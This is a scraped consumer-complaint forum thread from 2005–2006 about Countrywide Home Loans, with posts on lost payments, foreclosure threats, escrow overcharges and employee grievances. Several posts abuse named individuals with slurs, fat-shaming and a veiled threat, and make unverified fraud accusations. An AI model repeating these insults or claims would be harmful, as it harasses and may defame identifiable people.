i made all my payments on time, my credit report doesnt even know i had a loan through cw no history of payments late or on time! then it was so conviently recorded wrong,then they said i had to fix the problem it wasnt there problem, FU cw,where did all those payments go huh cw. well it cost me aprox. 12000 f-n dollars to fix it. i will never do buisness with cw again. somebody made a lot of money, you are very dishonest and unprofessenal,were did all that money go? p.s. even the office of the president is bs they even brush you off because they think they have more important things to do then take care of there customers, or is that were the problem LIES fu again and you will get yours dont worry.

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Left: February 01, 2006 By: JANET In: FRESNO

I WORKED FOR COUNTRYWIDE FROM 2-1-01 TO 9-1-05, AT FIRST I WAS IMPRESSED BY THE COMPANY. PUT THEM LITTLE BY LITLE I SAW THINGS THAT BOTHERED ME. A LOT OF FAVORTISM STARTING WITH MY OPERATIONS MANAGER WHO BY THE WAY DOES NOT KNOW SHIT WHEN IT COMES TO PROCESSING OR MANAGEING PEOPLE. TO HER IT IS ALL ABOUT PASS ON THE BUCK ONE OF HER OPPERATIONS STAFF. I MUST SAY I WORKED MY ASS OFF AT COUNTRYWIDE LONG HOURS AND WEEKEND, YES I WAS PAID BUT I DID BECAUSE I HOPED TO ONE DAY BE REWARDED. BUT THAT DAY NEVER CAME INSTEAD THE HIRED A DUMB AS BITCH THAT WORKED FOR WAMU, AS A PROCESSOR AND THEM MADE HER A BRANCH OPS MANAGER TO A SATELITE OFFICE. THAT REALLY PROVED THAT THEY COULD GIVE A SHIT ABOUT ME AS A PERSON OR EMPLOYEE. TO BRING IN SOMEONE WHO DOES NOT KNOW SHIT BUT BECAUSE SHE KNEW SOME. YOU KNOW WHAT THAT OLD SAYING IT IS NOT WHAT YOU KNOW BUT WHO YOU KNOW. DON'T WORK AT COUNTRYWIDE HOME LOANS THEY SUCK ASS!!!

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Left: February 01, 2006 By: In:

Melanee

Hope you know what you are doing. Dont tell me, you got a "smart choice" loan? Does it have a pre-payment penalty? 1 or 3 years? Be ready to sell or refinance your home in the next 24 to 60 months.



Pay your payments on time. Dont wait till the 15th. If you pay online for 3 months Countrywide will stop sending you paper statements. I'd mail the payment early in the month. Watch your statements for any irregular activity.

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Left: February 01, 2006 By: Melanee Green In: Modesto

Wow, I am really nervous now. I just closed my refinance in December with Quicken Loans and they just notified me Jan 27 that they sold my loan to Countrywide as of the March 1st payment. I was going online to try to set up electronic withdrawal of those payments when I stumbled first upon your site. I did not even choose to deal with this company...and I suppose I have no choice in the matter now. I really hope I do not fall into the nightmare of stories I have read by so many on your site...but if they have screwed and angered so many, I do not feel much confidence that they will deal fairly with me. Is there anyone I can contact if they do? Is there a class action suit at this point?

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Left: January 31, 2006 By: In:

what a bunch idiots fu cw

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Left: January 29, 2006 By: In:

Angelo has so many heads up his ass that he has no idea who and how these scum are ruining his company, work force and customers.



In stead of fixing it he goes along with the scum and ship existing Cali jobs to Texas, Florida and Arizona. Right to work States.



Culpability starts at the top.



Enron was big once and CFC is a big on paper tiger built on loan servicing with other peoples money.

When the deck of cards starts to fall it's all going to come down fast.



When you have lousy loan product pricing, lousy processing and services, low retention of employees and loan portfolio, once the public sentiment turns on the company as the corruption is exposed there wont be much of anything left.

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Left: January 29, 2006 By: In:

Hey folks don't forget about thefat whore who tried to have a doctor cut away her fat ass, Megan Fink.



Not only is the fat ass bringing down Countrywide from where it could be, she also has put her family into it, both daughters...



Fun is coming their way hahahahahahaha, crime does not pay.

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Left: January 29, 2006 By: In:

I will add that Dan Hanson, John Bianchi, and other scumbag senior execs might be in the running although Hale is above Hanson.



Hale is a problem, he is the one who recruited half the world over to CFC, now half of them are lining up to sue the Southern Cali criminals, not only against employees, but also borrowers.



After reading all the fun stuff that CFC does, it does not surprise me that they settle or lose almost all cases against them. They know they are scum, but it is profitable.....





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Left: January 29, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN



Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thats right, no application fee, no appraisal fee, no title fee, no closing fee, NO CLOSING COSTS.



NEVEVERMIND THAT ITS A VARIABLE RATE ARM (Prime Rate+) LOAN.



NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).



NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.



No one can screw you like Countrywide can.



GO GET A BETTER RATE & SERVICE AT YOUR LOCAL BANK OR CREDIT UNION.



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Left: January 29, 2006 By: In:

the #1, big a-hole honor goes to brian "lard ass" hale. 2nd place goes to gene sota (sp. ?). third is lisa chambers.

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Left: January 28, 2006 By: In:

To Fight Back, start with naming the people who are the assholes etc....

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Left: January 28, 2006 By: PISSED OFF In: FRESNO

COUNTRWIDE IS RUN BY A BUNCH OF ASSSSSHHOOOLLES. I HOPE THEY BURN DOWN AND GO TO HELL..ALL THE SONSOFBITCHES & FILTHY WHORES THERE NEED TO B DESTROYED. AS CONSUMERS WE NEED TO FIGHT BACK!!!

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Left: January 28, 2006 By: Kelleen Farrell In: Placerville, CA 95667

Countrywide bought my loan effective Dec. 1, 2005. They lost the december and the january payments and they are now threatening foreclosure, despite having received verification of payments from me and directly from my bank. They call me daily, even at 7:00 am on a Saturday. I am filing a lawsuit. If you want to join, please email me: kfarrell@inreach.com. Thnaks for this website.

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Left: January 28, 2006 By: In:

what is a "jagoff" ?

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Left: January 27, 2006 By: In:

No shite Angelo is so concerned with his tan that Countrywide cant hire a newb to type a 1003 to help themselves.



Blame Doyle.

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Left: January 27, 2006 By: In:

the scum at Cwide just can't do a damn thing about this board or the fact that they are a bunch of criminal scum that will continue to payout to plantiffs and the government agencies that they defraud.



When the SEC finally gets all the info, this Companmy will be on the front page still, but with other headlines, something like FRAUD FOUND IN 1000's of LOANS in SOCAL ALONE.



Gotta like them apples, especially when I KNOW the crimes and the scum involved in SoCal.

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Left: January 27, 2006 By: In:

Scroll way down for responses. Countrywide Jagoff doesnt want you to read this board.

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Left: June 20, 2006 By: Truth Commission In: USA

THIS IS IN RESPONSE TO "JOE D" and his worthless post on June 11, THIS IS FOR ALL PRO-CW AND ANTI-CW READERS.

You don't seem to get it.

For many years Countrywide HAS BEEN #1 in customer service. But guess what? Countrywide is soon to be a HAS BEEN.

I know all this because I had just recently quit Countrywide to work for another mortgage company.

Countrywide didn't use move operations over to India, BUT NOW they do! That will be bad for customer service.

COUNTYWIDE IS NOW TOO CHEAP TO KEEP UP ON ITS COMPUTERS AND COMPUTER SYSTEMS. When I worked there, computers froze up at least 5 times a day, and application information was always getting erased.

That is why the number of customers complaining about missing payments has been increasing in the last few years.

That is why it is now taking Countrywide 30 to 40 days to close a loan. Also because Countrywide now has a lot of untrained, inefficient, and disorganized underwriters and processors. (Countrywide may now also be too cheap to hire an adequate staff)

That is also why payoffs and other items are now coming out wrong.

Also Countrywide requires just about all of its loan originations to use LANDSAFE appraisal, a company owned by Countrywide itself. Their appraisals are extremely conservative, and 9 out of 10 of mine and other A/Eís came in OVER $10K less than comps. Even if the home was in good condition. This forces the A/E to restructure the loan a higher rate, less cashout, fewer bills paid, or a some combination of the factors. Their appraisals set the road for disguised predatory lending, and bait and switch.

Wake up Joe D! Have you ever studied the life cycle of an organization? Check it out. It comes in four stages: Introduction, growth, maturity, and decline. Right now, Countrywide is slowing down in the growth stage about to hit maturity. The only thing holding right now is the brand name its built from its past. And if Countrywide continues with its path, it will not be long until it is in its decline stage.

ENRON WAS ONCE A FORTUNE 500 COMPANY. Countrywide is riding in the same path.

Also Countrywide was recently sued in California from its conduct as an employer, and apparently it never learned from the lawsuit. Another lawsuit will happen.

Joe D. you are not in the position to call the people here "Jerk Offs". Especially if you're another goon in Countrywide's management. Because only someone in CW management would stick up for Countrywide the way you just did.

Not to meantion Joe, you posted your same pathetic post on all 50 state pages here, claiming to be from different local cities.

And to the Pro-CW idiot who keeps taking up the excessive space in the forum with blank lines. GET A LIFE LOOSER.
You will not keep others from reading the previous posts.

And to the "other" idiot, or same idiot as Joe D. None of these stories are made up. These are real experiences. The only fiction around here are degerates like you in Countrywide upper-management who post bogus messages like you defending Countrywide. And yes, when a company conducts itself in a shady manner, business should, and WILL be drive away.




Left: June 13, 2006 By: In:

CHL = Enron


Left: June 12, 2006 By: In:

yea, blank in the head with not much to say.


Left: June 12, 2006 By: Fred Baxter In: Naperville, Illinois

Sounds like a happy Countrywide employee to me.


Left: June 12, 2006 By: In:






Left: June 11, 2006 By: In:

These stories are all made up people...wake the f*ck up...this asshole is driving traffic to US-Home-Loans.com. Why do you think there are no e-mail addresses...what he doesnt know, is he's going to get a big surprise real soon..jerkoff


Left: June 11, 2006 By: In:






Left: June 11, 2006 By: Joe D In: Chicago

Hey jerkoffs..CW ia a member of the S&P 500, Fortune 500, and #1 in customer satisfaction..this website's sole purpose is to drive business to US-Home Loans.com...get a life you stupid a**holes...



Left: May 30, 2006 By: In:

phuck kuntrywide


Left: May 24, 2006 By: In:

don't be stupid. angelo is just a figurehead. you will NEVER get your money. CHL, a once proud, admirable, good hearted, company has been taken over by pigs...no i mean hogs. it is b...shit and i feel for you , bro, but the fact of the matter is that the stockholder is running the show now. f..ing a!!


Left: May 24, 2006 By: Stillwantingmyhardearnedmoney In: Rolling Meadows

I was employed by CWFSL after being recruited VERY stongly from a company that I was very happy with. I walked into a company that refuses to tell you the truth from the point you are recruited to your last day of employment. I resigned May 1, 2006 along with 5 other employees from the same team only to be told by our BRANCH MANAGER that we were CANCER to the company and CWFSL was a revolving door and didnt care anyway. My major complaint is the fact that I was informed after funding the loans I funded in April of this year (the amounts were substancial but unimportant to the story)I will Not be paid because the STANDARD OPERATING PROCEDURES state that an AE must remain employed one full month following the end of the month that thier loans funded unless local state law designates otherwise. Well ladies and gentleman Illinois State Law designates according to Lawyers I have spoken with along with the Illinois Dept. of Labor, if you write a loan and are employed from conception to birth (funding) you are to be paid no more then 7 business days after your resignation or termination of employment. To be continued....... I have written to Mr. Mozilo on two separate occasions since I have resigned and have never received even so much as a response from his office. I respect the man and the company he has built. I do find it very disheartening that he cant find it in his busy schedule to at least return an email.


Left: May 20, 2006 By: any employee In: any city in the usa

i agree...the way CHL treats its customers and their own fricking employees is horrendous. i too, worked at CHL since 2001. at the time when joe anderson ran the operation, the company was geared towards making the customer the #1 priority, and they took care of their employees. being 14 years as a producer, i can honestly say that CHL was the ultimate mortgage operation i had ever had the privalage to be a part of ( 10year @ wells + some regional players). we ruled our market in a kind,fair, honorable way.

it all changed when brian "heart attack" hale was brought in. this pig is great for the stockholder, for now, but is a complete a--hole for the customer and chl's employees. the "trickle down" effect of this ass-wipe's attitude has filtered to the disgruntled employee who then in turn lets out on the poor, helpless client/customer. CHL is in the service industry....and baby, right now they are NOT servicing the consumer. basic business 101 tell you this can only last so long. oh well, by the time this once mighty, proud, wonderful company falls or is bought out, fat ass hale, dave "the lizard" sanbol, gene " i'm king" sota will have made their money and will be laughing at the stockholders/employees/customers they screwed in the meantime. the next enron????


Left: May 18, 2006 By: In:

I posted here a few months ago. I stated that I was leaving the company. After 2 years I could not take the way they treated my clients and myself. I am completely sick of the way they treat people. I would like nothing better than to teach them a lesson. Anyone who is involved in a suite against Counrtwide please let me know. If I can help in any way I will. Also if anyone needs any straight mortgage advise please email me at comptonmortgage@hotmail.com
If you are currently with cw I will get you a free appraisal to get you on your way to a fresh start.


Left: May 07, 2006 By: David C. In: Naperville

I called Countrywide last week Thursday since I am purchasing a house and closing on May 31st. I got the run around with the very first call. The only thing I wanted was an estimate and the first 6 people I talked to couldnt give me one. After 18 minutes of transferring and transferring, I get the next person who was so RUDE, I finally had it. I hung up and went and called someone else.


Left: April 30, 2006 By: In:

joe anderson ? why?


Left: April 26, 2006 By: JAY In: Southern Illinois

I UNDERSTAND!!!!!!! When countrywide took over my loan, mistake number1... they didnt make sure the previous loan holder forwarded them the last two payments, because countrywide DIDNT inform me that they bought the loan, and AFTER 8 months of payments i started to get other charges for inspection fees and such. BUT not so much as ONE CALL!!! and i went throught they same, TALK to everyone at that company....and they all made a promise to get it "handled".. what BS. and i also mailed and faxed they copies of the canceled checks to them in dallas, calif. and the local branch in ILL. not ONLY did they NOT call back, they claim they never got them, hmmm certified mail with a sig on it??? But they FIANLLY told me it was up to me to recoup the money from the other company, and forward it to them????????? When it was COUNTRYWIDES fault to start with??? and they didnt catch it for 8 months?????? and they didnt inform anyone that they took the loan over, like ME! and the previous bank where i made payments too claim that they didnt know when it was to take effect?? the only way i got this corrected was to GET A LAWYER and THREATEN A LAWSUIT. then all of a sudden everything was handled?? they are THE WORST CUSTOMER SERVICE IN THE WORLD!!! and dont be supprised if you call and talk to a superviser.....and in 5 minutes call back and they will say that , so and so ??? we dont have any one in managment by that name.
YOUD BE BETTER OFF GETTING A LOAN ELSE WHERE!!!
im SOOOOO much happier that my loan is with a local bank......and guess what NEVER ANY PROBLEMS!!!!!!!!!!!!!


Left: March 14, 2006 By: In:

BEWARE OF MANAGEMENT ADVISORS INTERNATIONAL OR MAI. THEY ARE A CUT THROAT RECRUITING FIRM OUT OF HICKORY AND CHARLOTTE, NC, AND FLORIDA. THEY RECRUIT YOUR EMPLOYEES OUT OF YOUR COMPANY THEN CALL YOU AND REQUEST THAT YOU PAY THEM A RETAINER TO FILL THE OPEN POSITION. A YEAR LATER AND THEY COME RIGHT BACK AND RECRUIT THAT SAME CANDIDATE THEY FILLED THE OPEN POSITION WITH. THEIR GAME IS GETTING RETAINERS. IF YOU RETAIN THEM THEN WALK AWAY FROM THE DEAL, YOU OWE THEM 75%. IF YOU RETAIN THEM BUT FILL THE POSITION WITH A CANDIDATE YOU FIND, YOU OWE THEM THE FULL FEE.


Left: February 27, 2006 By: Magen In: Palatine

Ever since I posted my little bit on this site, I check in from time to time to see what other people have to say, and I have to say... I don't see how this BULLSHIT organization is still standing... Maybe their GM should take a look at all the unhappy (unhappy, I'm sure is an understatement for many of us) customers... But then again, reading stories from ex-employees ensures that anyone still employed at CW just doesn't give a shit... And to add to it, about a week ago I received an "urgent" call from someone in the customer service dept of CW. Only to call back and find that I was "Qualified to to purchase another property!!!" I feel bad now for the terrible things I said to that poor man. But I'm sure, if he is under the same management as everyone else, he didn't take it to heart. And I'm sure he's used to hearing it.. To everyone that is a victim in the endless bullshit of CW, all we can do it stick it out.. And when it comes to refinancing or even buying a new home, we know where we can tell them to shove their piece of shit business.. Have a great day everyone!!! : ) And on St. Patty's Day... Dedicate a drink to CW.. and throw it on the floor. ; )


Left: February 24, 2006 By: TENA.MISITANO In: SYCAMORE.ILL.

OH MY GOD!!IT CAN'T BELIEVE HOW MY SITUATION IS SO MUCH LIKE EVERYONES HERE! BECAUSE OF ONE PAYMENT,THAT WAS MISSED,(AND TWO PAYMENTS THEY SAID THEY NEVER RECIEVED!)IT TOOK ENDLESS CALLS, TO GET THE BANK STATEMENTS..TO PROVE,THE PAYMRNTS WERE MADE! MEANTIME THEY PUT ME ON A "REPAYMENT PLAN"...THAT THEY CHARGE YOU OVER $600.00 PER PAYMENT, TO BE ON! THE PLAN! MY REGULAR PAYMENTS ARE AROUND $1400.00.THEY JUMPED TO $2100.00, AND AS OF YESTERDAY..THEY ARE NOW SAYING OVER $3000.000! WHAT CAN I DO??!!


Left: February 24, 2006 By: prossnitz In:

i am an attorney representing a former cw customer in an arbitration she alleges she lost her home due to cw's erroneous billing practices and was also forced to file a chapter 13 we further allege that this part of cw's practices to get extra fees and penalties if anyone in the chicaga has had a similar experience and would be willing to testify at the hearing set for april 21 please contact me at howard@prossnitzlaw.com thanks


Left: February 19, 2006 By: In:

J - go file a chapter 13 to make payment arrangments and stop them
before they foreclose and take your homestead equity.


Left: February 19, 2006 By: In: Chicago

I have read some reports on ex-employees of this company.And I must say it is all painfully true on how horrible this company is. I am 2 weeks from leaving this company myself. And I am sure they will screw me out of my last pay check. I am positive that every story from present and past employee's on this site is true. I am not going to go into detail. I just want the people who are reading these comments to know one thing. These employee's and customers are not being cry babies. I would say 90% of what you are reading is right on the money.I could write for days on how bad the customers and employee's are treated. But, from what I can see it has been covered very well. I wish all current employee's the best. I just hope it doesn't take you 2 years to get up the balls to leave this company. Because I should have left along time ago.


Left: February 15, 2006 By: j In: chicago

I closed on my home in 2002 with CWL. Since then I suffered one layoff and an illness. I filed Chapter 7 bankruptcy in August and fell behind in my mortgage payments after filing. The bankruptcy was discharged in January, but my file is still in the bk dept w/ CW. Feb 2nd thier attorney went to court to have the automatic stay lifted. Of course the judge approved. Since January I have been contacting CW to pay the balance due, but b/c I am still in the BK dept they will not talk to me. I have attempted to contact their attorney several times. He will not return my calls. I am not sure what to do. I have the money in the bank to pay the past mortgages, but I am afraid to send it in. I have read the horror stories about people sending in overdue payments only to have them returned months later. any advice would be appreciated.


Left: February 03, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thatís right, no application fee, no appraisal fee, no title fee, no underwriting fee, NO CLOSING COSTS.

NEVEVERMIND THAT ITíS A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.


Left: February 03, 2006 By: jake In: cali

Improper Home Charges

Read then File a complaint

www.zimmreed.com




Left: February 02, 2006 By: Amy In: Mount Morris

We should have know from our first meeting with the loan guy that things might be bad with Countrywide. The day before closing he was calling us asking for more paperwork for our loan. He had not even had it done yet. Nothing like being completely packed and having to find stupid paperwork. It was not until a few hours before closing that he had an actual amount that we were supposed to bring to closing. Needless to say we had our loan with Countrywide for about a year before we had to re-locate. I had to call Countrywide on several attempts before closing to make sure they sent my property tax payment in. I talked to several different people. The first lady told me that my property tax payment was sent and even faxed a letter to my realtor who was also my grandmother stating payment was sent. A few days before closing called tax collectors office to verify payment received and nothing. Called Countrywide again and talked to someone who had no clue about anything and got transferred to someone else. This lady assurmed me my tax payment was in the mail. We got through closing and everything was fine. A week or so later I receive a check from Countrywide in the amount of about what we owed in property taxes. Thought that seemed kinda strange, called the tax collectors office and they said they never received any payments from Countrywide for our taxes. Needless to say I sent them the money for the unpaid tax bill, which was late by this time. I agree they have no clue what they are doing and I will never in my life do any business with them agian.


Left: February 01, 2006 By: LAURIE In: MUNCY

I ALSO HAVE A LOAN WITH CHL AND HAVE HAD NOTHING BUT PROBLEMS WITH THEM FOR THE LAST 2 YEARS. MY LOAN WAS ALSO SOLD TO THEM.THAT WAS THE WORST THING THAT COULD EVER HAPPEN TO MY LOAN. WITH NO LATE PAYMENTS BUT ONE IN DECEMBER, MY LOAN OF 5 YRS. WENT FROM $586.90 RANGING UPWARDS TO 1200.00 PER MONTH.WHY???????? THEY HAVE OPENED AN ESCROW ACCOUNT AND REQUIRE I PUT MONIES IN IT JUST IN CASE I NEED IT. WELL, NOW THEY WONT ALLOW ME TO PAY MY OWN TAXES.CUSTOMER SERVICE AT COUNTRYWIDE IS THE WORST SERVICE!ONE QUESTION, DIFFERENT ANSWER FROM EACH CSR .(CUSTOMER SERVICE REP.)I DONT THINK THE EMPLOYEES CAN READ THE LOANS. THERE WAS A LAW PASSED IN 2005 THAT ALLOWS A PERSON TO HAVE THE OPPORTUNITY TO PAY THEIR OWN TAXES BEFORE THEY BECOME DELIQUENT TO A MORTGAGE COMPANY WELL WHY IS CHL NOT ABIDING???????????????????????????. I CANT BELIEVE WE HAVE A COMPANY HERE IN THE U.S.A. THAT IS ACTUALLY TAKING FROM THEIR OWN PEOPLE. WHEN WILL SOMETHING BE DONE.WHOEVER SAYS CHL IS GREAT,HELPFUL,KIND AND HONEST, THEY ARE MORE THAN WELCOME TO PAY MY PAYMENT EACH MONTH. I AM MORE THAN WILLING TO ACT. IF ANYONE CAN OFFER ME AND THOUSANDS OF OTHER CHL CUSTOMERS ANY RELIEF OR A POINT IN THE RIGHT DIRECTION PLEASE E-MAIL ME HUGBETZ@ALLTEL.NET


Left: January 29, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN

Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thatís right, no application fee, no appraisal fee, no title fee, no closing fee, NO CLOSING COSTS.

NEVEVERMIND THAT ITíS A VARIABLE RATE ARM (Prime Rate+) LOAN.

NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).

NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.

No one can screw you like Countrywide can.

GO GET A BETTER RATE & SERVICE AT YOUR LOCAL BANK OR CREDIT UNION.



Left: January 20, 2006 By: roy In: tampa

Notice: Must Read
Sweat Shop Employees www.gdblegal.com
Appraisal Overcharges www.sherlocklegal.com
Wrong Doings www.jameshoyer.com
www.ripoffreport.com
file your complaint


Left: January 14, 2006 By: Chris Salituro In: Arlington Heights

I have only been with countrywide for 6 months or so. My mortgage company (who I love) sold my loan to countrywide less than a year ago. In the last three months, CHL has changed my loan payment three times without ever informing me! Each time, I sent my payment in ontime as usual, but they refused to accept it and then sent me a threatening letter. They sent the letter on the third, but then I had to wait until the 11th for the returned check to post to my account. meanwhile, they demanded that I pay a higher payment by the 15th or else face late fees and charges. The last time this happened, they never sent me a statement. When I inquired, the know-nothing on their end said that it was because I have an email statement - but they NEVER SENT THAT EITHER! So I asked the guy to resend the email and, you guessed it... THAT NEVER SHOWED UP EITHER! Now my online account has two different payments for me and what the heck am I supposed to do, guess which one is correct? Nothing about this company is professional, straight forward or helpful. For heaven's sake, if you have a choice DO NOT USE COUNTRYWIDE!


Left: December 28, 2005 By: Dave In: Washington, IL

CHL sent me monthly statements on my second mortgage account for nearly two years stating zero dollars due as monthly payment. I overpaid by nearly triple the original monthly amount due for over 1.5 years because I was able to do so and because CHL gave me NO indication of what was actually due. Believeing I was paid ahead well in advance, I reallocated that payment to other debts for 4 months. CHL began foreclosure proceedings without any attempt to contact me to understand why they received zero payment for a few months. When I did receive notice that CHL considered my account "delinquent" I was surprised, but paid it up to date instantly. Still, they persist to foreclose, and I cannot stop the train. No one of authority at CHL will speak to me, their attorneys will not speak to me, and after hours upon hours on the phone, I get wrapped around menu's, passed around from department to department, and end up losing the connection. This is a simple and quite senseless miscommunication between their billing department and me, their customer, that should be resolved in a short 5 minute discussion, BUT CHL is ruining my life over a $36.00 per month payment issue that was their fault in the first place.


Left: December 17, 2005 By: Angela In: Colorado Springs, CO

We have had our escrow raised for no reason. They raised it AND doubled our tax payments on our statement. They also raised our insurance premium. Somehow, our payment is $20/month over both our original paperwork and their totals, for example: our taxes and insurance equal $1840, divide that by 12 months and it should be $153/mth - however our escrow payment is $168/mth. Our loan has been owned by two other mortgage companies, and there has never been such a discrepency.

Secondly, they round-up on each of these payments - for example: our insurance premium is $895.89/yr, they are charging $896.00. Our taxes are $943.45/yr, they are charging 944.04/yr. This is a total of $8.40/yr. Now, most people wouldn't worry about $8/yr - right? But, let's say they have one-million loans and round-up on all the escrow payments - that's $8 million/yr in overcharges!!!!

Add that to the $15 dollars they are charging each month from the first paragraph - $188 million every year in overchages!!!!!

I know we are not the only loan they are overcharging from reading other comments on this site...

Anyone???


Left: December 14, 2005 By: clearcut In:

If you get a mortgage solicitation from anybody at Countrywide please check the license registry and report any unlicnesed mortgage solicitation activty to the State of Illinos

http://www.obrelookupclear.state.il.us/default.asp?Division=3&Profession=179

Division of Financial Institutions
James R. Thompson Center
100 West Randolph Street, Suite 9-100
Chicago, Illinois 60601
312/814-2000
312/814-7138 T.D.D.


Left: December 03, 2005 By: In:

Current Customers should call customer Service and tell them you want NO CONTACT 1-800-669-6607

That means:
*No emails
*No Phone Solicitations
*No Junk Mail

Get customer service reps name and employee ID# and make a note of it.

Countrywide gets around the do not call list because of a loop hole that allows them to call their current customers. Why do you think they buy so many mortgages? So they can call you and sell stuff to you is one reason.


Left: November 27, 2005 By: Norman In: Chicago

I'm Norm...I'm here to help w/ all your mortgage needs. I own my own business and I will treat you with respect and dignity. Please call me @ 800-244-2625


Left: November 27, 2005 By: Ronny in Rhode Island In: Richardsville

COUNTRYWIDE SUCKS...when everybody is through refi'ing they'll be out of business!


Left: November 15, 2005 By: In:

I am a top producer of bullshit. I was only kidding everyone. I'm just a fry cook. I get bored sometimes.


Left: November 08, 2005 By: True #1 mtg bank In: CA

Hate to burst your bubble Top producer but you can't be a #1 lender accross the world if they don't even know who you are on the east coast!


Left: November 04, 2005 By: In:

Just a question.. How would you not know where to send your payment.. It says it ON YOUR STATEMENT... Also... If you're ever in doubt when it comes to paperwork and what to sign, go the extra yard, cut a check for 400 and get a lawyer... that's what they do!! They make it SO much easier, and they explain everything perfectly.


Left: November 04, 2005 By: In:

Hey "Top Producer"_

How are the drugs at CW these days?? Good?

God won't bless COMMIES like you anyway...so move on and keep on surfing your gay porn!! You are pitiful!!



Left: November 03, 2005 By: TOP PRODUCER In:

I'VE NEVER READ SUCH BS, AS I'VE READ JUST NOW! I HAVE A FEELING MOST OF YOU BABIES WHO GOT FIRED BECAUSE YOU WERE DOING FRAUD OR THOSE WHO THINK GOT THE SHORT END OF THE STICK PROBABLY HAVE 500 FICO SCORES, BECAUSE ONLY UNGRATEFUL BRATS COMPLAIN. CHL IS AMERICAS' #1 RESIDENTIAL MORTGAGE BANK IN THE WORLD! NO OTHER BANK CAN COMPETE. OUR RATES, OUTSTANDING CUSTOMER SERVICE, AND UNDERSTANDING OF THE MORTGAGE INDUSTRY WILL ALLOW US TO DOMINATE FOR YEARS TO COME. 1 OUT OF EVERY 3 PEOPLE HAVE A CHL, GO ASK YOUR NEIGHBOR HOW HAPPY HE/SHE IS WITH US. I DARE YOU!

THIS GOES TO ALL THE STUPID PEOPLE ON HERE: WHAT MORTGAGE BANK DO YOU KNOW THAT SPLIT 3 TIMES IN ONE YEAR AND HAD A ROR OF 90%?? ANYONE? YOU THINK WAMU, CHASE, WELLS, HAD A ROR OF OVER 90% IN ONE YEAR?? NO! THEY DIDN'T! BUT COUNTRYWIDE HOME LOANS DID. I SEE WHY THE AUTHOR OF THIS WEBSITE CREATED THIS WEBSITE; TO MISINFORM POTENTIAL CUSTOMERS FROM DOING BUSINESS WITH US. WHY IS IT THAT THIS WEBSITE ONLY HAS NEGATIVE POSTS?? NOTHING BUT A BUNCH OF BIAS KIDS. I'M GOING TO BE CHECKING IN A WEEK TO SEE IF THIS POST WAS POSTED, IF NOT THEN I KNOW WHAT THE AUTHOR HAS IN MIND AND THAT IS TO WEAKEN COUNTRYWIDE HOME LOANS. HE/SHE WOULD HAVE TO KEEP THIS WEBSITE FOR 10,000 YEARS BEFORE ANYONE STARTS HAVING DOUBT IN THIS COMPANY. IF SOME OF YOU GOT FIRED FROM THIS COMPANY, I'M GLAD! WE DON'T WANT YOU ANYWAY. WE ONLY WANT THE BEST WORKING HERE, GO TO OUR COMPETITORS THEY'LL HIRE YOU/ AND WE'LL CONTINUE BEING #1 IN THE WORLD IN RESIDENTIAL HOME LOANS. TAKE CARE GOD BLESS!

PLEASE ASK ME ANY QUESTION. AND STOP COMPLAINING THAT YOU DON'T KNOW WHERE TO SEND YOUR PAYMENT, THAT COMMENT IS AS OLD AS DINOSAURS. CALL THE MORTGAGE CONSULTANT YOU DEALT WITH AND HE'll DIRECTED YOU IN THE RIGHT PATH. WE ARE HERE TO HELP YOU ALONG THE WAY, FROM YOUR FIRST CONTACT, TO THE CLOSING TABLE, AND YOUR PICNIC AT YOUR HOME WITH FRIENDS AND FAMILY! THANK YOU FOR YOUR BUSINESS! GOD BLESS! LIVE WITH PASSION!!!!!!



Left: October 26, 2005 By: Magen In: Palatine

Customer Service : Providing service for the satisfaction of your consumer...

BULLSHIT

No return phone calls, false information, Lieing about "contacting" people... But mostly, having my attorney call him during my closing to ask him where the paperwork is, having him not pick up the phone, then calling his boss and finding that he is standing right next to him, ignoring my attorneys calls to swing a golf club???!!!!


Like I said... BULLSHIT

I would not advise anyone to use Countrywide... Or at least not to go through Carmen... He made buying a home a terrible experience, when I think it should be exciting... But that's just my opinion.


Left: October 25, 2005 By: Michael In: Chicago

It is very important to ask those questions BEFORE you sign your loan documents. Also, just because you use a local "lender" doesn't mean they will service your loan or that they are even really funding your loan. Many of these "lenders" aren't true lenders at all. They are coorespondant lenders, which is a fancy term for broker who doesn't need to disclose yield spread premium, or "back-end points" to those who don't know what a YSP is. As I have said before, you have to do your homework up front. Don't rely on your mortgage "pofessional" to tell you squat. There are far too many people in the mortgage industry who know less than the average consumer. If you feel even the least bit leary about your lender/broker run for the hills. Your first instinct is usually the correct one.


Left: October 21, 2005 By: In: Illinois

I was considering taking a position with Countrywide. No longer, after seeing this web site. This is to the consumers out there that complain about their loan being sold to Countrywide. Did you use a broker for your mortgage? Mortgage Brokers do not service their loans. If you read the paperwork that they provided you it should state that. Yes, you got a great rate-but your price is service. Go to your local lenders if service is important to you. Ask them what happens to your loan after closing. Don't just shop rates, shop service. Yes, I work for a "local Lender" and that is where I plan on staying. I enjoy working with my clients for life.


Left: October 07, 2005 By: ANONYMOUS In: CALIFORNIA

START A "COUNTRYWIDE HOME LOANS IS GREAT" WEBSITE. YOU'RE JOKING, RIGHT?

